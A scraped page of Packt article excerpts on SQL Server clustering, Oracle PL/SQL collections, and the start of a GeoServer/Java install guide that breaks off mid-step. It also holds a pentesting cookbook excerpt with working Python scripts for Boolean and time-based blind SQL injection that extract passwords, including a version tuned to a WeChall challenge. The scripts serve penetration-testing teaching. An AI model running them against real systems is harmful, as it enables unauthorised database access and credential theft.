failover clustering. This is achieved by having two identical nodes connected to each other by means of private network or commonly used resources. In case of failure of any common resource or services, the first node (Active) passes the ownership to another node (Passive). SQL Server Clustering is built on top of Windows Clustering, which means before we go about installing SQL Server clustering, we should have Windows clustering installed. Before we start, let's understand the commonly used shared resources for the cluster server. Clusters with 2, 4, 8, 12 or 32 nodes can be built Windows Server 2008 R2. Clusters are categorized in the following manner: High-Availability Clusters: This type of cluster is known as a Failover cluster. High Availability clusters are implemented when the purpose is to provide highly available services. For implementing a failover or high availability cluster one may have up to 16 nodes in a Microsoft Cluster. Clustering in Windows operating systems was first introduced with the release of Windows NT 4.0 Enterprise Edition, and was enhanced gradually. Even though we can have non-identical hardware, we should use identical hardware. This is because if the node to which cluster fails over has lower configuration, then we might face degradation in performance. Load Balancing: This is the second form of cluster that can be configured. This type of cluster can be configured by linking multiple computers with each other and making use of each resource they need for operation. From the user's point of view, all of these servers/nodes linked to each other are different. However, it is collectively and virtually a single system, with the main goal being to balance work by sharing CPU, disk, and every possible resource among the linked nodes and that is why it is known as a Load Balancing cluster. SQL Server doesn't support this form of clustering. Compute Clusters: When computers are linked together with the purpose of using them for simulation for aircraft, they are known as a compute cluster. A well-known example is Beowulf computers. Grid Computing: This is one kind of clustering solution, but it is more often used when there is a dispersed location. This kind of cluster is called a Supercomputer or HPC. The main application is scientific research, academic, mathematical, or weather forecasting where lots of CPUs and disks are required—SETI@home is a well-known example. If we talk about SQL Server clusters, there are some cool new features that are added in the latest release of SQL Server 2008, although with the limitation that these features are available only if SQL Server 2008 is used with Windows Server 2008. So, let's have a glance at these features: Service SID: Service SIDs were introduced with Windows Vista and Windows Server 2008. They enable us to bind permissions directly to Windows services. In the earlier version of SQL Server 2005, we need to have a SQL Server Services account that is a member of a domain group so that it can have all the required permissions. This is not the case with SQL Server 2008 and we may choose Service SIDs to bypass the need to provision domain groups. Support for 16 nodes: We may add up to 16 nodes in our SQL Server 2008 cluster with SQL Server 2008 Enterprise 64-bit edition. New cluster validation: As a part of the installation steps, a new cluster validation step is implemented. Prior to adding a node into an existing cluster, this validation step checks whether or not the cluster environment is compatible. Mount Drives: Drive letters are no longer essential. If we have a cluster configured that has limited drive letters available, we may mount a drive and use it in our cluster environment, provided it is associated with the base drive letter. Geographically dispersed cluster node: This is the super-cool feature introduced with SQL Server 2008, which uses VLAN to establish connectivity with other cluster nodes. It breaks the limitation of having all clustered nodes at a single location. IPv6 Support: SQL Server 2008 natively supports IPv6, which increases network IP address size to 128 bit from 32 bit. DHCP Support: Windows server 2008 clustering introduced the use of DHCP-assigned IP addresses by the cluster services and it is supported by SQL Server 2008 clusters. It is recommended to use static IP addresses. This is because if some of our application depends on IP addresses, or in case of failure of renewing IP address from DHCP server, there would be a failure of IP address resources. iSCSI Support: Windows server 2008 supports iSCSI to be used as storage connection; in earlier versions, only SAN and fibre channels were supported.
Read more
  • 0
  • 0
  • 8215

article-image-plsql-using-collections
Packt
17 May 2012
18 min read
Save for later

PL/SQL: Using Collections

Packt
17 May 2012
18 min read
Collections—an overview A collection is a homogeneous single dimensional structure, which constitutes an ordered set of elements of a similar type. Being a homogeneous structure, all elements are of the same data type. The structure of the element contains cells with a subscript. The elements reside in these cells to make the index as their location information. The subscript or cell index becomes identification of an element and is used for its access. Structure of a collection type, SPORT, is shown in the following diagram. Note the subscript and elements into it. A new element, GOLF, enters at the last empty location and is represented as SPORT [6]: A collection element can be of any valid SQL data type or a user-defined type. An element of the SQL primitive data type is a scalar value while an element of the user-defined type is an object type instance. A collection can be used within a PL/SQL program by declaring a PL/SQL variable of collection type. The local PL/SQL variable can hold the instances of its collection type. Besides, a database column in a table can also be of the schema collection type. The collections in Oracle are strictly one dimensional. They cannot be realized on two-dimensional coordinates. However, multidimensional arrays can be realized when the collection has an object type or collection type attribute. A collection can be bounded or unbounded. Bounded collections can accommodate a limited number of elements while unbounded collections have no upper limit for subscripts. Collections provide an efficient way to organize the data in an array or set format while making the use of object-oriented features. An instance of a nested table or varray collection type is accessed as an object while the data is still stored in database columns. Collections can be used to avail data caching in programs and boost up the performance of SQL operations. On dedicated server connections, a session always uses User Global Area (UGA), a component of PGA, for collection operations. On the other hand, for shared server mode, the collection operations are still carried out in UGA; but UGA is now a part of System Global Area (SGA), thus indirectly in SGA. This is because in shared server connections, multiple server processes can affect a session, thus UGA must be allocated out of the SGA. Categorization Collections are of two types—persistent and non-persistent. A collection is persistent if it stores the collection structure and elements physically in the database. Contrarily, a non-persistent collection is active for a program only that is, maximum up to a session. Apart from the preceding categories, a collection can be realized in three formats namely, associative array, nested table or varray. This categorization is purely based on their objective and behavioral properties in a PL/SQL program. The following diagram combines the abstract and physical classification of collections: We will take a quick tour of these collection types now and discuss them in detail in the coming sections: Associative array (index-by table): This is the simplest form of non- persistent unbounded collections. As a non-persistent collection, it cannot be stored in the database, but they are available within a PL/SQL block only. The collection structure and data of associative array cannot be retained once the program is completed. Initially, during the days of Oracle 7, it was known as PL/SQL tables. Later, Oracle 8 version released it as index-by tables as they used an index to identify an element. Nested table: This is a persistent form of unbounded collections which can be created in the database as well as in PL/SQL block. Varray (variable-size array): This is a persistent but bounded form of collection which can be created in the database as well as in PL/SQL. Similar to a nested table, a varray is also a unidimensional homogeneous collection. The collection size and storage scheme are the factors which differentiate varrays from nested tables. Unlike a nested table, a varray can accommodate only a defined (fixed) number of elements. Selecting an appropriate collection type Here are a few guidelines to decide upon the appropriate usage of collection types in programs: Use of associative arrays is required when: You have to temporarily cache the program data in an array format for lookup purpose. You need string subscripts for the collection elements. Note that it supports negative subscripts, too. Map hash tables from the client to the database. Use of nested tables is preferred when: You have to stores data as sets in the database. Database columns of nested table type can be declared to hold the data persistently. Perform major array operations such as insertion and deletion, on a large volume of data. Use of varrays is preferred when: You have to store calculated or predefined volume of data in the database. Varray offers limited and defined storage of rows in a collection. Order of the elements has to be preserved. Associative arrays Associative arrays are analogous to conventional arrays or lists which can be defined within a PL/SQL program only. Neither the array structure nor the data can be stored in the database. It can hold the elements of a similar type in a key-value structure without any upper bound to the array. Each cell of the array is distinguished by its subscript, index, or cell number. The index can be a number or a string. Associative arrays were first introduced in Oracle 7 release as PL/SQL tables to signify its usage within the scope of a PL/SQL block. Oracle 8 release identified the PL/SQL table as Index by table due to its structure as an index-value pair. Oracle 10g release recognized the behavior of index by tables as arrays so as to rename it as associative arrays due to association of an index with an array. The following diagram explains the physical lookup structure of an associative array: Associative arrays follow the following syntax for declaration in a PL/SQL declare block: TYPE [COLL NAME] IS TABLE OF [ELEMENT DATA TYPE] NOT NULL INDEX BY [INDEX DATA TYPE] In the preceding syntax, the index type signifies the data type of the array subscript. RAW, NUMBER, LONG-RAW, ROWID, and CHAR are the unsupported index data types. The suited index types are BINARY_INTEGER, PLS_INTEGER, POSITIVE, NATURAL, SIGNTYPE, or VARCHAR2. The element's data type can be one of the following: PL/SQL scalar data type: NUMBER (along with its subtypes), VARCHAR2 (and its subtypes), DATE, BLOB, CLOB, or BOOLEAN Inferred data: The data type inherited from a table column, cursor expression or predefined package variable User-defined type: A user defined object type or collection type For illustration, the following are the valid conditions of the associative array in a PL/SQL block: /*Array of CLOB data*/ TYPE clob_t IS TABLE OF CLOB INDEX BY PLS_INTEGER; /*Array of employee ids indexed by the employee names*/ TYPE empno_t IS TABLE OF employees.empno%TYPE NOT NULL INDEX BY employees.ename%type; The following PL/SQL program declares an associative array type in a PL/ SQL block. Note that the subscript of the array is of a string type and it stores the number of days in a quarter. This code demonstrates the declaration of an array and assignment of the element in each cell and printing them. Note that the program uses the FIRST and NEXT collection methods to display the array elements. The collection methods would be covered in detail in the PL/SQL collection methods section: /*Enable the SERVEROUTPUT on to display the output*/ SET SERVEROUTPUT ON /*Start the PL/SQL block*/ DECLARE /*Declare a collection type associative array and its variable*/ TYPE string_asc_arr_t IS TABLE OF NUMBER INDEX BY VARCHAR2(10); l_str string_asc_arr_t; l_idx VARCHAR2(50); BEGIN /*Assign the total count of days in each quarter against each cell*/ l_str ('JAN-MAR') := 90; l_str ('APR-JUN') := 91; l_str ('JUL-SEP') := 92; l_str ('OCT-DEC') := 93; l_idx := l_str.FIRST; WHILE (l_idx IS NOT NULL) LOOP DBMS_OUTPUT.PUT_LINE('Value at index '||l_idx||' is '||l_str(l_ idx)); l_idx := l_str.NEXT(l_idx); END LOOP; END; / Value at index APR-JUN is 91 Value at index JAN-MAR is 90 Value at index JUL-SEP is 92 Value at index OCT-DEC is 93 PL/SQL procedure successfully completed. In the preceding block, note the string indexed array. A string indexed array considerably improves the performance by using indexed organization of array values. In the last block, we noticed the explicit assignment of data. In the following program, we will try to populate the array automatically in the program. The following PL/SQL block declares an associative array to hold the ASCII values of number 1 to 100: /*Enable the SERVEROUTPUT on to display the output*/ SET SERVEROUTPUT ON /*Start the PL/SQL Block*/ DECLARE /*Declare an array of string indexed by numeric subscripts*/ TYPE ASCII_VALUE_T IS TABLE OF VARCHAR2(12) INDEX BY PLS_INTEGER; L_GET_ASCII ASCII_VALUE_T; BEGIN /*Insert the values through a FOR loop*/ FOR I IN 1..100 LOOP L_GET_ASCII(I) := ASCII(I); END LOOP; /*Display the values randomly*/ DBMS_OUTPUT.PUT_LINE(L_GET_ASCII(5)); DBMS_OUTPUT.PUT_LINE(L_GET_ASCII(15)); DBMS_OUTPUT.PUT_LINE(L_GET_ASCII(75)); END; / 53 49 55 PL/SQL procedure successfully completed. The salient features of associative arrays are as follows: An associative array can exist as a sparse or empty collection Being a non-persistent collection, it cannot participate in DML transactions It can be passed as arguments to other local subprograms within the same block Sorting of an associative array depends on the NLS_SORT parameter An associative array declared in package specification behaves as a session-persistent array Nested tables Nested tables are a persistent form of collections which can be created in the database as well as PL/SQL. It is an unbounded collection where the index or subscript is implicitly maintained by the Oracle server during data retrieval. Oracle automatically marks the minimum subscript as 1 and relatively handles others. As there is no upper limit defined for a nested table, its size can grow dynamically. Though not an index-value pair structure, a nested table can be accessed like an array in a PL/SQL block. A nested table is initially a dense collection but it might become sparse due to delete operations on the collection cells. Dense collection is the one which is tightly populated. That means, there exists no empty cells between the lower and upper indexes of the collection. Sparse collections can have empty cells between the first and the last cell of the collection. A dense collection may get sparse by performing the "delete" operations. When a nested table is declared in a PL/SQL program, they behave as a one-dimensional array without any index type or upper limit specification. A nested table defined in a database exists as a valid schema object type. It can be either used in a PL/SQL block to declare a PL/SQL variable for temporarily holding program data or a database column of particular nested table type can be included in a table, which can persistently store the data in the database. A nested table type column in a table resembles a table within a table, but Oracle draws an out- of-line storage table to hold the nested table data. This scenario is illustrated in the following diagram: Whenever a database column of nested table type is created in a table (referred to as parent table), Oracle creates a storage table with the same storage options as that of the parent table. The storage table created by Oracle in the same segment carries the name as specified in the NESTED TABLE STORE AS clause during creation of the parent table. Whenever a row is created in the parent table, the following actions are performed by the Oracle server: A unique identifier is generated to distinguish the nested table instances of different parent rows, for the parent row The instance of the nested table is created in the storage table alongside the unique identifier of the parent row The Oracle server takes care of these nested table operations. For the programmer or user, the whole process is hidden and appears as a normal "insert" operation. A nested table definition in PL/SQL follows the following syntax: DECLARE TYPE type_name IS TABLE OF element_type [NOT NULL]; In the preceding syntax, element_type is a primitive data type or a user-defined type, but not as a REF CURSOR type. In a database, a nested table can be defined using the following syntax: CREATE [OR REPLACE] TYPE type_name IS TABLE OF [element_type] [NOT NULL]; / In the preceding syntax, [element_type] can be a SQL supported scalar data type, a database object type, or a REF object type. Unsupported element types are BOOLEAN, LONG, LONG-RAW, NATURAL, NATURALN, POSITIVE, POSITIVEN, REF CURSOR, SIGNTYPE, STRING, PLS_INTEGER, SIMPLE_INTEGER, BINARY_INTEGER and all other non-SQL supported data types. If the size of the element type of a database collection type has to be increased, follow this syntax: ALTER TYPE [type name] MODIFY ELEMENT TYPE [modified element type] [CASCADE | INVALIDATE]; The keywords, CASCADE or INVALIDATE, decide whether the collection modification has to invalidate the dependents or the changes that have to be cascaded across the dependents. The nested table from the database can be dropped using the DROP command, as shown in the following syntax (note that the FORCE keyword drops the type irrespective of its dependents): DROP TYPE [collection name] [FORCE] Nested table collection type as the database object We will go through the following illustration to understand the behavior of a nested table, when created as a database collection type: /*Create the nested table in the database*/ SQL> CREATE TYPE NUM_NEST_T AS TABLE OF NUMBER; / Type created. The nested table type, NUM_NEST_T, is now created in the database. Its metadata information can be queried from the USER_TYPES and USER_COLL_TYPES dictionary views: SELECT type_name, typecode, type_oid FROM USER_TYPES WHERE type_name = 'NUM_NEST_T'; TYPE_NAME TYPECODE TYPE_OID --------------- --------------- -------------------------------- NUM_NEST_T COLLECTION 96DE421E47114638A9F5617CE735731A Note that the TYPECODE value shows the type of the object in the database and differentiates collection types from user-defined object types: SELECT type_name, coll_type, elem_type_name FROM user_coll_types WHERE type_name = 'NUM_NEST_T'; TYPE_NAME COLL_TYPE ELEM_TYPE_NAME --------------- ---------- -------------------- NUM_NEST_T TABLE NUMBER Once the collection type has been successfully created in the database, it can be used to specify the type for a database column in a table. The CREATE TABLE statement in the following code snippet declares a column of the NUM_NEST_T nested table type in the parent table, TAB_USE_NT_COL. The NESTED TABLE [Column] STORE AS [Storage table] clause specifies the storage table for the nested table type column. A separate table for the nested table column, NUM, ensures its out-of-line storage. SQL> CREATE TABLE TAB_USE_NT_COL (ID NUMBER, NUM NUM_NEST_T) NESTED TABLE NUM STORE AS NESTED_NUM_ID; Table created. A nested table collection type in PL/SQL n PL/SQL, a nested table can be declared and defined in the declaration section of the block as a local collection type. As a nested table follows object orientation, the PL/SQL variable of the nested table type has to be necessarily initialized. The Oracle server raises the exception ORA-06531: Reference to uninitialized collection if an uninitialized nested table type variable is encountered during block execution. As the nested table collection type has been declared within the PL/SQL block, its scope, visibility, and life is the execution of the PL/SQL block only. The following PL/SQL block declares a nested table. Observe the scope and visibility of the collection variable. Note that the COUNT method has been used to display the array elements. /*Enable the SERVEROUTPUT to display the results*/ SET SERVEROUTPUT ON /*Start the PL/SQL block*/ DECLARE /*Declare a local nested table collection type*/ TYPE LOC_NUM_NEST_T IS TABLE OF NUMBER; L_LOCAL_NT LOC_NUM_NEST_T := LOC_NUM_NEST_T (10,20,30); BEGIN /*Use FOR loop to parse the array and print the elements*/ FOR I IN 1..L_LOCAL_NT.COUNT LOOP DBMS_OUTPUT.PUT_LINE('Printing '||i||' element: '||L_LOCAL_ NT(I)); END LOOP; END; / Printing 1 element: 10 Printing 2 element: 20 Printing 3 element: 30 PL/SQL procedure successfully completed. Additional features of a nested table In the earlier sections, we saw the operational methodology of a nested table. We will now focus on the nested table's metadata. Furthermore, we will demonstrate a peculiar behavior of the nested table for the "delete" operations. Oracle's USER_NESTED_TABLES and USER_NESTED_TABLE_COLS data dictionary views maintain the relationship information of the parent and the nested tables. These dictionary views are populated only when a database of a nested table collection type is included in a table. The USER_NESTED_TABLES static view maintains the information about the mapping of a nested table collection type with its parent table. The structure of the dictionary view is as follows: SQL> desc USER_NESTED_TABLES Name Null? Type ----------------------- -------- --------------- TABLE_NAME VARCHAR2(30) TABLE_TYPE_OWNER VARCHAR2(30) TABLE_TYPE_NAME VARCHAR2(30) PARENT_TABLE_NAME VARCHAR2(30) PARENT_TABLE_COLUMN VARCHAR2(4000) STORAGE_SPEC VARCHAR2(30) RETURN_TYPE VARCHAR2(20) ELEMENT_SUBSTITUTABLE VARCHAR2(25) Let us query the nested table relationship properties for the TAB_USE_NT_COL table from the preceding view: SELECT parent_table_column, table_name, return_type, storage_spec FROM user_nested_tables WHERE parent_table_name='TAB_USE_NT_COL' / PARENT_TAB TABLE_NAME RETURN_TYPE STORAGE_SPEC ---------------------------------------------------------------------- NUM NESTED_NUM_ID VALUE DEFAULT In the preceding view query, RETURN_TYPE specifies the return type of the collection. It can be VALUE (in this case) or LOCATOR. Another column, STORAGE_SPEC, signifies the storage scheme used for the storage of a nested table which can be either USER_SPECIFIED or DEFAULT (in this case). The USER_NESTED_TABLE_COLS view maintains the information about the collection attributes contained in the nested tables: SQL> desc USER_NESTED_TABLE_COLS Name Null? Type ----------------------- -------- --------------- TABLE_NAME NOT NULL VARCHAR2(30) COLUMN_NAME NOT NULL VARCHAR2(30) DATA_TYPE VARCHAR2(106) DATA_TYPE_MOD VARCHAR2(3) DATA_TYPE_OWNER VARCHAR2(30) DATA_LENGTH NOT NULL NUMBER DATA_PRECISION NUMBER DATA_SCALE NUMBER NULLABLE VARCHAR2(1) COLUMN_ID NUMBER DEFAULT_LENGTH NUMBER DATA_DEFAULT LONG NUM_DISTINCT NUMBER LOW_VALUE RAW(32) HIGH_VALUE RAW(32) DENSITY NUMBER NUM_NULLS NUMBER NUM_BUCKETS NUMBER LAST_ANALYZED DATE SAMPLE_SIZE NUMBER CHARACTER_SET_NAME VARCHAR2(44) CHAR_COL_DECL_LENGTH NUMBER GLOBAL_STATS VARCHAR2(3) USER_STATS VARCHAR2(3) AVG_COL_LEN NUMBER CHAR_LENGTH NUMBER CHAR_USED VARCHAR2(1) V80_FMT_IMAGE VARCHAR2(3) DATA_UPGRADED VARCHAR2(3) HIDDEN_COLUMN VARCHAR2(3) VIRTUAL_COLUMN VARCHAR2(3) SEGMENT_COLUMN_ID NUMBER INTERNAL_COLUMN_ID NOT NULL NUMBER HISTOGRAM VARCHAR2(15) QUALIFIED_COL_NAME VARCHAR2(4000) We will now query the nested storage table in the preceding dictionary view to list all its attributes: SELECT COLUMN_NAME, DATA_TYPE, DATA_LENGTH, HIDDEN_COLUMN FROM user_nested_table_cols where table_name='NESTED_NUM_ID' / COLUMN_NAME DATA_TYP DATA_LENGTH HID ------------------------------ ---------- ----------- ----- NESTED_TABLE_ID RAW 16 YES COLUMN_VALUE NUMBER 22 NO We observe that though the nested table had only number elements, there is two- columned information in the view. The COLUMN_VALUE attribute is the default pseudo column of the nested table as there are no "named" attributes in the collection structure. The other attribute, NESTED_TABLE_ID, is a hidden unique 16-byte system generated raw hash code which latently stores the parent row identifier alongside the nested table instance to distinguish the parent row association. If an element is deleted from the nested table, it is rendered as parse. This implies that once an index is deleted from the collection structure, the collection doesn't restructure itself by shifting the cells in a forward direction. Let us check out the sparse behavior in the following example. The following PL/SQL block declares a local nested table and initializes it with a constructor. We will delete the first element and print it again. The system raises the NO_DATA_FOUND exception when we query the element at the index 1 in the collection:   /*Enable the SERVEROUTPUT to display the block messages*/ SQL> SET SERVEROUTPUT ON /*Start the PL/SQL block*/ SQL> DECLARE /*Declare the local nested table collection*/ TYPE coll_method_demo_t IS TABLE OF NUMBER; /*Declare a collection variable and initialize it*/ L_ARRAY coll_method_demo_t := coll_method_demo_t (10,20,30,40,50); BEGIN /*Display element at index 1*/ DBMS_OUTPUT.PUT_LINE('Element at index 1 before deletion:'||l_ array(1)); /*Delete the 1st element from the collection*/ L_ARRAY.DELETE(1); /*Display element at index 1*/ DBMS_OUTPUT.PUT_LINE('Element at index 1 after deletion:'||l_ array(1)); END; / Element at index 1 before deletion:10 DECLARE * ERROR at line 1: ORA-01403: no data found ORA-06512: at line 15
Read more
  • 0
  • 0
  • 8214

article-image-sql-injection
Packt
23 Jun 2015
11 min read
Save for later

SQL Injection

Packt
23 Jun 2015
11 min read
In this article by Cameron Buchanan, Terry Ip, Andrew Mabbitt, Benjamin May, and Dave Mound authors of the book Python Web Penetration Testing Cookbook, we're going to create scripts that encode attack strings, perform attacks, and time normal actions to normalize attack times. (For more resources related to this topic, see here.) Exploiting Boolean SQLi There are times when all you can get from a page is a yes or no. It's heartbreaking until you realise that that's the SQL equivalent of saying "I LOVE YOU". All SQLi can be broken down into yes or no questions, dependant on how patient you are. We will create a script that takes a yes value, and a URL and returns results based on a predefined attack string. I have provided an example attack string but this will change dependant on the system you are testing. How to do it… The following script is how yours should look: import requests import sys   yes = sys.argv[1]   i = 1 asciivalue = 1   answer = [] print "Kicking off the attempt"   payload = {'injection': ''AND char_length(password) = '+str(i)+';#', 'Submit': 'submit'}   while True: req = requests.post('<target url>' data=payload) lengthtest = req.text if yes in lengthtest:    length = i    break else:    i = i+1   for x in range(1, length): while asciivalue < 126: payload = {'injection': ''AND (substr(password, '+str(x)+', 1)) = '+ chr(asciivalue)+';#', 'Submit': 'submit'}    req = requests.post('<target url>', data=payload)    if yes in req.text:    answer.append(chr(asciivalue)) break else:      asciivalue = asciivalue + 1      pass asciivalue = 0 print "Recovered String: "+ ''.join(answer) How it works… Firstly the user must identify a string that only occurs when the SQLi is successful. Alternatively, the script may be altered to respond to the absence of proof of a failed SQLi. We provide this string as a sys.argv. We also create the two iterators we will use in this script and set them to 1 as MySQL starts counting from 1 instead of 0 like the failed system it is. We also create an empty list for our future answer and instruct the user the script is starting. yes = sys.argv[1]   i = 1 asciivalue = 1 answer = [] print "Kicking off the attempt" Our payload here basically requests the length of the password we are attempting to return and compares it to a value that will be iterated: payload = {'injection': ''AND char_length(password) = '+str(i)+';#', 'Submit': 'submit'} We then repeat the next loop forever as we have no idea how long the password is. We submit the payload to the target URL in a POST request: while True: req = requests.post('<target url>' data=payload) Each time we check to see if the yes value we set originally is present in the response text and if so, we end the while loop setting the current value of i as the parameter length. The break command is the part that ends the while loop: lengthtest = req.text if yes in lengthtest:    length = i    break If we don't detect the yes value, we add one to i and continue the loop: else:    i = i+1re Using the identified length of the target string, we iterate through each character and, using the ascii value, each possible value of that character. For each value we submit it to the target URL. Because the ascii table only runs up to 127, we cap the loop to run until the ascii value has reached 126. If it reaches 127, something has gone wrong: for x in range(1, length): while asciivalue < 126:  payload = {'injection': ''AND (substr(password, '+str(x)+', 1)) = '+ chr(asciivalue)+';#', 'Submit': 'submit'}    req = requests.post('<target url>', data=payload) We check to see if our yes string is present in the response and if so, break to go onto the next character. We append our successful to our answer string in character form, converting it with the chr command: if yes in req.text:    answer.append(chr(asciivalue)) break If the yes value is not present, we add to the ascii value to move onto the next potential character for that position and pass: else:      asciivalue = asciivalue + 1      pass Finally we reset ascii value for each loop and then when the loop hits the length of the string, we finish, printing the whole recovered string: asciivalue = 1 print "Recovered String: "+ ''.join(answer) There's more… This script could be potentially altered to handle iterating through tables and recovering multiple values through better crafted SQL Injection strings. Ultimately, this provides a base plate, as with the later Blind SQL Injection script for developing more complicated and impressive scripts to handle challenging tasks. See the Blind SQL Injection script for an advanced implementation of these concepts. Exploiting Blind SQL Injection Sometimes life hands you lemons, Blind SQL Injection points are some of those lemons. When you're reasonably sure you've found an SQL Injection vulnerability but there are no errors and you can't get it to return you data. In these situations you can use timing commands within SQL to cause the page to pause in returning a response and then use that timing to make judgements about the database and its data. We will create a script that makes requests to the server and returns differently timed responses dependant on the characters it's requesting. It will then read those times and reassemble strings. How to do it… The script is as follows: import requests   times = [] print "Kicking off the attempt" cookies = {'cookie name': 'Cookie value'}   payload = {'injection': ''or sleep char_length(password);#', 'Submit': 'submit'} req = requests.post('<target url>' data=payload, cookies=cookies) firstresponsetime = str(req.elapsed.total_seconds)   for x in range(1, firstresponsetime): payload = {'injection': ''or sleep(ord(substr(password, '+str(x)+', 1)));#', 'Submit': 'submit'} req = requests.post('<target url>', data=payload, cookies=cookies) responsetime = req.elapsed.total_seconds a = chr(responsetime)    times.append(a)    answer = ''.join(times) print "Recovered String: "+ answer How it works… As ever we import the required libraries and declare the lists we need to fill later on. We also have a function here that states that the script has indeed started. With some time-based functions, the user can be left waiting a while. In this script I have also included cookies using the request library. It is likely for this sort of attack that authentication is required: times = [] print "Kicking off the attempt" cookies = {'cookie name': 'Cookie value'} We set our payload up in a dictionary along with a submit button. The attack string is simple enough to understand with explanation. The initial tick has to be escaped to be treated as text within the dictionary. That tick breaks the SQL command initially and allows us to input our own SQL commands. Next we say in the event of the first command failing perform the following command with OR. We then tell the server to sleep one second for every character in the first row in the password column. Finally we close the statement with a semi-colon and comment out any trailing characters with a hash (or pound if you're American and/or wrong): payload = {'injection': ''or sleep char_length(password);#', 'Submit': 'submit'} We then set length of time the server took to respond as the firstreponsetime parameter. We will use this to understand how many characters we need to brute-force through this method in the following chain: firstresponsetime = str(req.elapsed).total_seconds We create a loop which will set x to be all numbers from 1 to the length of the string identified and perform an action for each one. We start from 1 here because MySQL starts counting from 1 rather than from zero like Python: for x in range(1, firstresponsetime): We make a similar payload as before but this time we are saying sleep for the ascii value of X character of the password in the password column, row one. So if the first character was a lower case a then the corresponding ascii value is 97 and therefore the system would sleep for 97 seconds, if it was a lower case b it would sleep for 98 seconds and so on: payload = {'injection': ''or sleep(ord(substr(password, '+str(x)+', 1)));#', 'Submit': 'submit'} We submit our data each time for each character place in the string: req = requests.post('<target url>', data=payload, cookies=cookies) We take the response time from each request to record how long the server sleeps and then convert that time back from an ascii value into a letter: responsetime = req.elapsed.total_seconds a = chr(responsetime) For each iteration we print out the password as it is currently known and then eventually print out the full password: answer = ''.join(times) print "Recovered String: "+ answer There's more… This script provides a framework that can be adapted to many different scenarios. Wechall, the web app challenge website, sets a time-limited, blind SQLi challenge that has to be completed in a very short time period. The following is our original script adapted to this environment. As you can see, I've had to account for smaller time differences in differing values, server lag and also incorporated a checking method to reset the testing value each time and submit it automatically: import subprocess import requests   def round_down(num, divisor):    return num - (num%divisor)   subprocess.Popen(["modprobe pcspkr"], shell=True) subprocess.Popen(["beep"], shell=True)     values = {'0': '0', '25': '1', '50': '2', '75': '3', '100': '4', '125': '5', '150': '6', '175': '7', '200': '8', '225': '9', '250': 'A', '275': 'B', '300': 'C', '325': 'D', '350': 'E', '375': 'F'} times = [] answer = "This is the first time" cookies = {'wc': 'cookie'} setup = requests.get('http://www.wechall.net/challenge/blind_lighter/ index.php?mo=WeChall&me=Sidebar2&rightpanel=0', cookies=cookies) y=0 accum=0   while 1: reset = requests.get('http://www.wechall.net/challenge/blind_lighter/ index.php?reset=me', cookies=cookies) for line in reset.text.splitlines():    if "last hash" in line:      print "the old hash was:"+line.split("      ")[20].strip(".</li>")      print "the guessed hash:"+answer      print "Attempts reset n n"    for x in range(1, 33):      payload = {'injection': ''or IF (ord(substr(password,      '+str(x)+', 1)) BETWEEN 48 AND      57,sleep((ord(substr(password, '+str(x)+', 1))-      48)/4),sleep((ord(substr(password, '+str(x)+', 1))-      55)/4));#', 'inject': 'Inject'}      req = requests.post('http://www.wechall.net/challenge/blind_lighter/ index.php?ajax=1', data=payload, cookies=cookies)      responsetime = str(req.elapsed)[5]+str(req.elapsed)[6]+str(req.elapsed) [8]+str(req.elapsed)[9]      accum = accum + int(responsetime)      benchmark = int(15)      benchmarked = int(responsetime) - benchmark      rounded = str(round_down(benchmarked, 25))      if rounded in values:        a = str(values[rounded])        times.append(a)        answer = ''.join(times)      else:        print rounded        rounded = str("375")        a = str(values[rounded])        times.append(a)        answer = ''.join(times) submission = {'thehash': str(answer), 'mybutton': 'Enter'} submit = requests.post('http://www.wechall.net/challenge/blind_lighter/ index.php', data=submission, cookies=cookies) print "Attempt: "+str(y) print "Time taken: "+str(accum) y += 1 for line in submit.text.splitlines():    if "slow" in line:      print line.strip("<li>")    elif "wrong" in line:       print line.strip("<li>") if "wrong" not in submit.text:    print "possible success!"    #subprocess.Popen(["beep"], shell=True) Summary We looked at how to attack strings through different penetration attacks via Boolean SQLi and Blind SQL Injection. You will find some various kinds of attacks present in the book throughout. Resources for Article: Further resources on this subject: Pentesting Using Python [article] Wireless and Mobile Hacks [article] Introduction to the Nmap Scripting Engine [article]
Read more
  • 0
  • 0
  • 8207
article-image-getting-started-geoserver
Packt
07 Mar 2013
8 min read
Save for later

Getting Started with GeoServer

Packt
07 Mar 2013
8 min read
(For more resources related to this topic, see here.) Installing Java GeoServer is a Java application. So, we need to ensure that you have it installed and properly working on your machine, but you don't need to know how to write Java™ to install or to get started using GeoServer. There are two main packages of Java. Depending on what you are planning to do with Java, you may want to install a JDK (Java Development Kit) or JRE (Java Runtime Environment). The former enables you to compile Java™ code, while the latter has all you need to run most Java applications. Starting from release 2.0, GeoServer does not need a full JDK installation and you can go safely with JRE. It works well with Java 6 but as Java 7 is not deeply tested by developers, it should work but you may experience minor issues. Unless you have some strong reasons to use Java 7, you should use JRE 6. In the 90s, Java development was started by Sun Microsystems. Sun has developed each new release until it merged into Oracle Corporation. While Oracle did not change the Java license to a commercial one, there are some license issues (maybe it would be worthy to add some reference here) preventing Oracle Java™ from being available on an Ubuntu repository. On Ubuntu current releases, you will find OpenJDK already installed in the desktop edition; in the server, you need to choose it at setup. While there are a few users running GeoServer on OpenJDK with no issues, the developers community does not test it intensively and hence you can expect some performance loss. Oracle Java™ should be your first choice unless you have some specific issues. In the following steps, we will use Oracle Java™ JRE. If your installation machine is a new one, then chances are that there is no Java runtime pre-installed. Let's check. Time for action — checking the presence of Java on Windows We will verify the presence of a JRE/JDK installation on Windows, using the following steps: From the Start menu, select Control Panel. Then select Programs. If your system has a JRE/JDK installed, you should see an icon with the Java logo as shown in the following screenshot. It is a shortcut to the Java control panel. Open the Java control panel and select the Java tab. Here you will find settings for JRE. Press the Show Me button to visualize the installed release and the installation folder. What just happened? You checked for the presence of Java on your computer. In case you didn't find it, we are going to install it in the next section. (If you did find it, skip to the Installing Apache Tomcat section.) Time for action — checking the presence of Java on Ubuntu We will check JRE/JDK installation from the command line. Log in to your server and run this command: ~ $ sudo update-alternatives --config java If there is no Java properly configured you should see an output like the following: update-alternatives: error: no alternatives for java. In case there is one or more Java installed the output will be similar to: There is only one alternative in link group java: /usr/lib/jvm/ java-7-openjdk-amd64/jre/bin/java Nothing to configure. Or There are 2 choices for the alternative java (providing /usr/bin/ java). Selection Path Priority Status ———————————————————— * 0 /usr/lib/jvm/java-6-openjdk/jre/bin/java 1061 auto mode 1 /usr/lib/jvm/java-6-openjdk/jre/bin/java 1061 manual mode 2 /usr/lib/jvm/java-6-sun/jre/bin/java 63 manual mode Press enter to keep the current choice[*], or type selection number: What just happened? requirement for our installation. We had the opportunity to check if the installed 